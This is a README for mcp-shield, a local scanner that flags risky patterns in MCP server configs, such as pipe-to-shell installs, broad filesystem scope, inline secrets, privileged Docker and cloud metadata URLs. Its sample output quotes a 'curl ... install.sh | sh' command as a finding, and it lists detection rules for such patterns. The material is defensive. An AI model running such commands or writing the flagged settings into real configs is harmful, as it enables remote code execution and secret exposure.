mcp-shield

Scan MCP configs before your AI agent inherits risky tools.

mcp-shield is a local-first CLI that scans Model Context Protocol server configuration files for risky patterns: dangerous shell execution, broad filesystem access, inline secrets, unpinned package execution, insecure remote URLs, cloud metadata targets, and privileged Docker containers.

Why this exists

MCP is quickly becoming the plugin layer for AI agents. That is powerful, but it means a JSON config can quietly decide what commands your agent can start, what directories it can touch, what tokens it receives, and what remote tools it can call.

Official MCP docs show local servers launched from JSON config with fields like command, args, and env, and warn that filesystem servers run with the user's account permissions. The MCP security guidance also highlights risks such as local server compromise, scope minimization, SSRF, and token handling.

mcp-shield gives developers a fast preflight check before enabling or committing MCP configs.

Demo

mcp-shield scan examples/risky-mcp.json

Example output:

mcp-shield risk score: 96/100 (CRITICAL highest severity)
Config files: 1 | Servers: 5 | Findings: 12

[CRITICAL] Dangerous shell pattern [instant-installer]
  Evidence: bash -lc curl https://example.invalid/install.sh | sh
  Fix: Remove dynamic shell execution and install the MCP server through a pinned, reviewable package.

Screenshot/GIF placeholder: record a terminal session scanning examples/risky-mcp.json, then scanning examples/safe-mcp.json.

Features

• Scans Claude Desktop, Cursor, Cline/VS Code-style MCP JSON configs
• Supports explicit files, directories, and common local config paths
• Detects curl | sh, eval/exec, encoded PowerShell, and broad shell interpreters
• Flags broad filesystem scope such as /, ~, and drive roots
• Flags inline secrets and token-looking values in env
• Warns on unpinned npx, uvx, and pipx package execution
• Detects remote HTTP URLs and cloud metadata endpoints
• Detects Docker --privileged and broad host mounts
• Emits text, Markdown, and JSON
• Works locally with zero runtime dependencies

Installation

From source:

git clone https://github.com/wangzy9401/mcp-shield.git
cd mcp-shield
python -m pip install -e .

After packaging:

pip install mcp-shield

Quick start

Scan common MCP config locations:

mcp-shield scan

Scan a specific config:

mcp-shield scan ~/.cursor/mcp.json

Scan a project directory:

mcp-shield scan .

Generate a Markdown report:

mcp-shield scan . --format markdown --output mcp-shield-report.md

Use in CI:

mcp-shield scan . --fail-on high

CLI reference

usage: mcp-shield scan [-h] [--format {text,markdown,json}]
                       [--output OUTPUT]
                       [--fail-on {none,medium,high,critical}]
                       [--max-risk MAX_RISK]
                       [targets ...]

Arguments:

• targets: MCP config files or directories. If omitted, scans common local MCP config paths.
• --format: text, markdown, or json.
• --output, -o: Write report to a file.
• --fail-on: Exit with status 2 when this severity or higher is found. Defaults to high.
• --max-risk: Exit with status 2 when the risk score exceeds this value.

What it checks

Rule family	Examples
Shell execution	bash -lc, `curl ...
Filesystem scope	filesystem servers pointed at /, ~, drive roots
Secrets	inline GITHUB_TOKEN, API keys, private-key-looking values
Package execution	unpinned npx, uvx, pipx, git-sourced packages
Remote servers	plain HTTP, cloud metadata endpoints
Docker	--privileged, root host mounts, Docker socket mounts
Config health	invalid JSON, missing mcpServers, unknown transport

Configuration

mcp-shield v0.1.0 has no config file. It uses a conservative built-in baseline.

Planned policy file:

[tool.mcp-shield]
allow_commands = ["npx", "uvx", "docker"]
deny_severity = "high"
approved_packages = [
  "@modelcontextprotocol/server-filesystem@2026.1.0"
]

Real-world use cases

• Review a new MCP server before adding it to Cursor or Claude Desktop.
• Prevent accidental commits of token-bearing MCP configs.
• Add a CI gate for repos that include .cursor/mcp.json.
• Help security teams discover "shadow MCP" risk across developer machines.
• Teach teams what dangerous MCP config patterns look like.

API usage

from mcp_shield import scan

report = scan([".cursor/mcp.json"])
print(report.risk_score, report.highest_severity)
for finding in report.findings:
    print(finding.severity, finding.title, finding.recommendation)

Roadmap

• SARIF output for GitHub code scanning
• Team policy files and allowlists
• .mcpb bundle manifest scanning
• Optional package reputation checks
• GitHub Action wrapper
• HTML report

Security model

This is a static scanner. It does not prove that an MCP server is safe. It catches risky configuration patterns before runtime.

For stronger assurance, combine it with:

• source review of MCP servers
• pinned package versions and lockfiles
• least-privilege filesystem scopes
• secret managers instead of inline env values
• runtime sandboxing where possible

Contributing

See CONTRIBUTING.md.

License

MIT. See LICENSE.

FAQ

Does it upload my MCP config?

No. Scans run locally.

Does it call an LLM?

No. All rules are deterministic.

Is it only for Claude Desktop?

No. It supports the common mcpServers JSON shape used across Claude Desktop, Cursor, and similar clients.

Can it scan remote MCP servers?

v0.1.0 scans the config that points to remote servers. It does not connect to or fuzz the server.

Why does it flag unpinned packages?

Because MCP servers execute with meaningful local capabilities. Version drift or package takeover can change what your agent can do.

Star history

Star history placeholder: add a chart after public launch.